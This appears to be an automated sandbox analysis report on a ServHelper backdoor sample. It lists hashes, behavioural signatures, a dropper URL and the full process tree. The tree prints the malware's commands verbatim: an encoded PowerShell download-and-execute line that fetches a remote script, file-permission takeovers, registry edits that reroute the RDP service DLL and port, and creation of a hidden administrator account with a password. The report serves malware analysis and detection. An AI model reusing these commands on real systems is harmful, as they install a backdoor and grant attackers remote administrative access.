Analysis

  • max time kernel
    157s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 22:08

General

  • Target

    fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe

  • Size

    4.5MB

  • MD5

    6e25c5952efe42d73b7d20ed3d48199b

  • SHA1

    ffc74cf6eebcf8129bc565aec41b41e7b1f84e0c

  • SHA256

    fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6

  • SHA512

    8ebb2206cbc8605613d894930e8982b0a424e1f8be3ad649b0237c78dfe4f75ff1691958e9a91f83286407466852c5199ec913d9cf1fd1ecaa0cde5eb8af5bb6

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe
    "C:\Users\Admin\AppData\Local\Temp\fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\22udgrto.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34B8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC34A7.tmp"
          4⤵
            PID:628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1368
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1776
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1736
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:316
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:768
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1576
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1496
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1680
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:864
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1344
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:748
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1768
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1668
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1120
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1876
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2000
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1212
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1152
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1008
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1604
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:776
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1608
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1732
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1096
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1480
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:456
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1216
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 5dKqeDJt /add
                                  1⤵
                                    PID:928
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 5dKqeDJt /add
                                      2⤵
                                        PID:1700
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 5dKqeDJt /add
                                          3⤵
                                            PID:912
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1224
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:544
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1096
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                              1⤵
                                                PID:1496
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                  2⤵
                                                    PID:376
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                      3⤵
                                                        PID:628
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1768
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1080
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1668
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 5dKqeDJt
                                                          1⤵
                                                            PID:1172
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 5dKqeDJt
                                                              2⤵
                                                                PID:1684
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 5dKqeDJt
                                                                  3⤵
                                                                    PID:832
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1216
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1524
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:768
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:316
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1716
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1344
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1704

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/600-82-0x000000001BA50000-0x000000001BD4F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/600-78-0x0000000002880000-0x0000000002882000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/600-83-0x000000000288C000-0x00000000028AB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/600-80-0x0000000002884000-0x0000000002887000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/600-81-0x0000000002887000-0x0000000002888000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/600-77-0x000007FEEC350000-0x000007FEECEAD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/600-79-0x0000000002882000-0x0000000002884000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/860-61-0x000007FEEC350000-0x000007FEECEAD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/860-63-0x00000000024F4000-0x00000000024F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/860-74-0x000000000251D000-0x000000000251E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/860-59-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/860-65-0x00000000024FB000-0x000000000251A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/860-62-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/860-60-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/936-68-0x0000000000710000-0x00000000008E0000-memory.dmp

                                                                        Filesize

                                                                        1.8MB

                                                                      • memory/1368-86-0x000007FEEC350000-0x000007FEECEAD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1368-88-0x0000000002742000-0x0000000002744000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1368-90-0x0000000002744000-0x0000000002747000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1368-91-0x000000001B920000-0x000000001BC1F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1368-92-0x000000000274C000-0x000000000276B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1368-89-0x0000000002747000-0x0000000002748000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1368-87-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1704-112-0x0000000001304000-0x0000000001307000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1704-111-0x0000000001302000-0x0000000001304000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1704-110-0x0000000001300000-0x0000000001302000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1704-109-0x000007FEEC350000-0x000007FEECEAD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1704-113-0x000000000130B000-0x000000000132A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1776-102-0x000000000292C000-0x000000000294B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1776-101-0x0000000002927000-0x0000000002928000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1776-100-0x0000000002924000-0x0000000002927000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1776-98-0x0000000002920000-0x0000000002922000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1776-99-0x0000000002922000-0x0000000002924000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1776-97-0x000000001B910000-0x000000001BC0F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1776-96-0x000007FEEC350000-0x000007FEECEAD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1888-58-0x0000000041227000-0x0000000041228000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-57-0x0000000041226000-0x0000000041227000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-55-0x0000000041222000-0x0000000041224000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1888-56-0x0000000041224000-0x0000000041226000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1888-54-0x0000000041550000-0x0000000041800000-memory.dmp

                                                                        Filesize

                                                                        2.7MB